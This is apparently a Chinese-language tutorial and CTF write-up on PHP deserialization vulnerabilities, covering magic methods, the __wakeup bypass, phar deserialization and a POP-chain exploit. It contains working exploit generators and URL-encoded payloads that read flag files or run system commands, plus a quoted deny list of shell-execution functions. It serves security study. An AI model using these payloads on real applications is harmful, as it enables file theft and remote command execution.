跳转至

反序列化相关

反序列化相关

概念

数据(变量)序列化(持久化)

将一个变量的数据“转换为”字符串,但并不是类型转换,目的是将该字符串存储在本地,相反的行为称为反序列化
序列化和反序列化目的是是的程序间传输对象会更加方便

相关函数

serialize()
产生一个可存储的值的表示

unserialize()
从已存储的表示中创建php的值

php基础

关于 php 的类与对象

<?php
class test_class{
    //变量
    public $user = 'yichen';
    //打印当前class的变量值
    public function print_user()
    {
        echo $this->user;
    }
}
//创建对象
$obj=new test_class();
//调用打印功能
$obj->print_user();
?>

image.png

序列化

接下来看一下序列化相关的内容,首先看一下序列化之后的效果

<?php
class user
{
    public $name = 'yichen';
    public $age = 20;
    public function print_data()
    {
        echo $this->name.' is '.$this->age.' years old<br>';
    }
}
$user1 = new user();
$user1->age=21;
$user1->name='y1chen';
$user1->print_data();
echo serialize($user1);
?>

结果:y1chen is 21 years old
O:4:"user":2:{s:4:"name";s:6:"y1chen";s:3:"age";i:21;}

解释:O 表示对象,4 表示对象名的长度,后面跟的是对象名
2 表示里面有两个变量
s 表示变量是字符串,4 意思是变量名有 4 的长度,后面跟着的值的部分表示,一样
i 意思是变量赋的值是整形,值为 21

反序列化

<?php
class user
{
    public $name = 'yichen';
    public $age = 20;
    public function print_data()
    {
        echo $this->name.' is '.$this->age.' years old<br>';
    }
}
$user1 = new user();
$user1->age=21;
$user1->name='y1chen';
$user1->print_data();
echo serialize($user1);
//O:4:"user":2:{s:4:"name";s:6:"y1chen";s:3:"age";i:21;}
$user2 = unserialize('O:4:"user":2:{s:4:"name";s:6:"y1chen";s:3:"age";i:21;}');
echo "<br>";
$user2->print_data($user2);
?>

image.png

魔术方法

![{Q9J${2WQL@H5`3X75N6KI.png

接下来我们自己写一下一些魔术方法,然后再调用一下一些函数,看看他们在什么时候调用了这些魔术方法

to_string 条件比较多
(1)echo ($obj) / print($obj) 打印时会触发
(2)反序列化对象与字符串连接时
(3)反序列化对象参与格式化字符串时
(4)反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
(5)反序列化对象参与格式化SQL语句,绑定参数时
(6)反序列化对象在经过php字符串函数,如 strlen()、addslashes()时
(7)在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用
(8)反序列化的对象作为 class_exists() 的参数的时候

例子

<?php
highlight_file(__FILE__);
echo "<br>";
class magic_test
{
    public $data1="yichen";
    public $data2="writeup";
    public function print_dat()
    {
        echo $this->data1 . " " .$this->data2 . "<br>";
    }
    public function __construct()
    {//构造函数
        echo "__construct<br>";
    } 
    public function __destruct()
    {//析构函数
        echo "__destruct<br>";
    }
    public function __wakeup()
    {//执行unserialize时调用
        echo "__wakeup<br>";
    }
    public function __sleep()
    {//执行serialize时调用
        echo "__sleep<br>";
        return array("data1","data2");
        //__sleep()该函数必须返回一个需要进行序列化保存的成员属性数组
        //并且只序列化该函数返回的这些成员属性
    }
    public function __toString()
    {//类被当成字符串时的回应方法
      //echo "__toString<br>";
      return "__toString<br>";
    }
    function __call($name, $arg)
    {//在对象中调用一个不可访问方法时调用
     //不存在的方法名是$name,参数是数组形式
      echo "$name<br>";
      var_dump($arg);
      echo "<br>";
    }
    function __invoke()
    {//调用函数的方式调用一个对象时的回应方法
      echo "__invoke<br>";
    }
    function __get($key)
    {//获得一个类中不可访问的成员变量时(未定义或私有属性)
        echo "__get<br>";
    }
    function __set($arg1,$arg2)
    {//给一个类中不可访问的成员变量赋值时
        echo "__set<br>";
        echo "$arg1:$arg2 <br>";
    }
}
//创建对象,调用__construct
echo "准备创建对象<br>";
$obj = new magic_test();
echo "创建对象完成<br>";

//序列化对象,调用__sleep
echo "准备序列化对象<br>";
$serialized = serialize($obj);
echo "序列化对象完成<br>";

//类被当成字符串输出,调用__toString
echo "准备输出类<br>";
echo $obj;
echo "输出类完毕<br>";

//类被当成方法调用输出,调用__invoke
echo "准备把对象当作方法调用<br>";
$obj();
echo "把对象当作方法调用完毕<br>";

//输出序列化之后的字符串
echo "打印序列化之后的对象 ";
echo "serialized: ".$serialized."<br>";
echo "打印完成<br>";

//调用一个不存在的方法,调用__call
echo "准备调用不存在的方法hack<br>";
$obj->hack('arg1','arg2',3);
echo "调用不存在的方法hack完毕<br>";

//获得一个类不存在的成员变量时,调用__get
echo "准备访问对象不存在的字段<br>";
$function = $obj->nono;
echo "访问对象不存在的字段完毕<br>";

//获得一个类不存在的成员变量时,调用__set
echo "准备设置对象不存在的字段<br>";
$obj->onon = 123;
echo "设置对象不存在的字段完毕<br>";

//重建对象(反序列化),调用__wakeup
echo "准备反序列化对象<br>";
$obj2=unserialize($serialized);
echo "反序列化完成<br>";

//调用方法
echo "准备调用方法<br>";
$obj2->print_dat();
echo "调用结束<br>";

//反序列化后会额外在调用__destruct
//脚本结束 调用__destruct
?>

执行一下,自己理解理解

注意点

直接变量名反序列化出来的是 public 变量
\x00+类名+\x00+变量名 反序列化出来是 private 变量
\x00+*+\x00+变量名 反序列化出来是 protected 变量
浏览器会不显示,用终端
在对象长度前面可以加符号(+-)

bypass __wakeup(CVE-2016-7124)

当序列化字符串中,如果表示对象属性的个数的值大于真实的属性个数时就会跳过 __wakeup 的执行

例1

<?php   

class Filename{  

    public $filename = 'error.log';  

    public function __toString(){  
        return file_get_contents($this->filename);  
    }  
}  

class Student{  

    public $age = 24;  
    public $name = 'zhao';  

    public function __toString(){  
        return 'User ' . $this->name . ' is ' . $this->age . ' years old. 
';  
    }  
}  

$s1 = new Student();
echo 'Student: '.serialize($s1).'
';

$s2 = unserialize($_GET['s2']);
echo $s2;//直接把反序列化出来的类当作字符串输出

?>

在 student 类这里没啥用,但是可以用 Filename 这个类来读文件

<?php
class Filename{  
    public $filename = 'php://filter/read=convert.base64-encode/resource=flag.php'; 
}  
$a = new Filename();
echo urlencode(serialize($a));
?>
//O%3A8%3A%22Filename%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D

这样反序列化出来是 Filename 这个类的对象,echo $2 的时候会去 Filename 这个类的 __toString 方法,就输出了 base64 格式的 flag.php

例2(2020网鼎杯朱雀组_PHPweb)

抓包发现了请求信息

image.png

date 是一个 php 的函数,参数后面的,这里可以执行 php 的函数
通过 func=file_get_contents&p=index.php 读取 index.php 的源码如下:

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }

    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
?>

disable_fun 只对 fun 参数进行判断,没有检查 p 参数,可以用 unserialize 函数,传递一串序列化之后的值

<?php
    class Test {
        var $p = "cat /tmp/flagoefiu4r93";
        var $func = "system";
    }

    $a = new Test();
    echo urlencode(serialize($a));

?>

POPChain

例1(MRCTF2020-Ezpop)

在构造 popchain 时可以直接忽略构造方法,用不到

<?php
//flag is in flag.php
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke()
    {//这个类的对象被当作方法调用时调用
        $this->append($this->var);
    }
}
//在popchain构造过程中直接忽略__construct
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;//忽略
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }//类被当成字符串时调用

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }//unserialize调用
    }
}

// Show.__wakeup -> Show.toString -> Test.__get -> Modifier.__invoke

class Test{
    public $p;
    public function __construct(){
        $this->p = array();//忽略
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }//获得一个无法访问的类成员变量时调用
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

exp

<?php
class Modifier
{
    protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;
        echo 'Welcome to ' . $this->source . "<br>";
    }
    public function __toString()
    {
     return "php serialize";
    }
    public function __wakeup()
    {
     $this->source = new Show();
    }
}
class Test{
    public $p;
    public function __construct()
    {
        $this->p = new Modifier();
    }

}

$a = new Show('flag.php'); // 初始化参数随便
$a->str = new Test();
$b = new Show($a);
$pop = serialize($b);
echo "===\n";
echo urlencode($pop);
//pop=O%3A4%3A"Show"%3A2%3A%7Bs%3A6%3A"source"%3BO%3A4%3A"Show"%3A2%3A%7Bs%3A6%3A"source"%3Bs%3A8%3A"flag.php"%3Bs%3A3%3A"str"%3BO%3A4%3A"Test"%3A1%3A%7Bs%3A1%3A"p"%3BO%3A8%3A"Modifier"%3A1%3A%7Bs%3A6%3A"%00%2A%00var"%3Bs%3A57%3A"php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php"%3B%7D%7D%7Ds%3A3%3A"str"%3BN%3B%7D
?>

调试

传参进来,首先 unserialize,调用 __wakeup,去正则匹配看看是不是有黑名单里的字符串,第一次匹配的时候 $this->source 是 "flag.php",正常

image.png

第二次调用(为啥会调用两次)时,$this->source 已经是一个对象了,这时候会调用 __toString

image.png

在 __toString 时 $this -> str 是 Test 类,Test 类中是没有 source 这个成员变量的,会去调用 __get

image.png

__get 把 $this -> p 也就是 Modifier 对象当作一个函数来调用,又去调用 __invoke

image.png

__invoke 调用了 append 方法成功包含 var,也就是 php://filter/read=convert.base64-encode/resource=flag.php 然后就伪协议输出了 flag.php 的 base64 编码的形式

image.png

popchain构造思路

因为 unserialize 首先会调用 __wakeup,所以首先看 wakeup 所在的那个类,Show

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;//忽略
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }//类被当成字符串时调用

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }//unserialize调用
    }
}

$this->source 在preg_match 函数中,可以用到的是把对象当成字符串去调用 __toString,所以初步有了想法

$a = new Show('index.php');//构造函数的参数
$b = new Show($a);

在 __toString 中有个 $this->str->source; 能想到的是某个类没有 source 成员变量,从而调用 __get,而 __get 在 class Test

class Test{
    public $p;
    public function __construct(){
        $this->p = array();//忽略
    }
    public function __get($key){
        $function = $this->p;
        return $function();
    }//获得一个无法访问的类成员变量时调用
}

所以应该把 $a 中的 str 设置为 Test 类的一个对象,同时在 Test 中是希望触发对象被当作函数来调用的去触发 __invoke,所以 p 应该也是一个类的对象,具体是 Modifier,因为 __invoke 在 class Modifier,而它会调用本类的 append 方法,通过 include 函数把 $this->var 包含进来,所以 Modifier 的 var 应该是伪协议的读取 flag.php

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke()
    {//这个类的对象被当作方法调用时调用
        $this->append($this->var);
    }
}

所以 exp 是

<?php

class Modifier
{
    protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}//伪协议

class Show
{
    public $source;
    public $str;
    public function __construct($file = 'index.php')
    {
        $this->source = $file;
        echo 'Welcome to ' . $this->source . "<br>";
    }
    public function __toString()
    {//因为构造函数涉及到$this->source,所以会调用__toString,为了不报错随便返回点东西就行
     return "ctf";
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = new Modifier();
    }//用来触发__invoke
}

$a = new Show();
$a->str = new Test();
$b = new Show($a);
$pop = serialize($b);
echo "===\n";
echo urlencode($pop);
?>

利用 phar 拓展 php 反序列化漏洞

https://paper.seebug.org/680
phar 可以在没有 unserialize 函数的情况下去反序列化
将 php.ini 中的 phar.readonly 选项设置为 Off,否则无法生成 phar 文件

<?php
    class TestObject {
        public $yichen; 
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

phar 文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在 manifest 部分。manifest 部分还会以序列化的形式存储用户自定义的 meta-data

image.png

php 一大部分的文件系统函数在通过 phar:// 伪协议解析 phar 文件时,都会将 meta-data 进行反序列化执行下面的 php 代码就会触发 __destruct

<?php 
    class TestObject {
        public function __destruct() {
            echo 'Destruct called';
        }
    }
    $filename = 'phar://phar.phar/test.txt';
    file_get_contents($filename); 
?>

这些函数也会触发

1630223505141-996c4d47-ec28-4eaa-944b-fda69d0b1639.png

原文: https://www.yuque.com/hxfqg9/web/svqdx3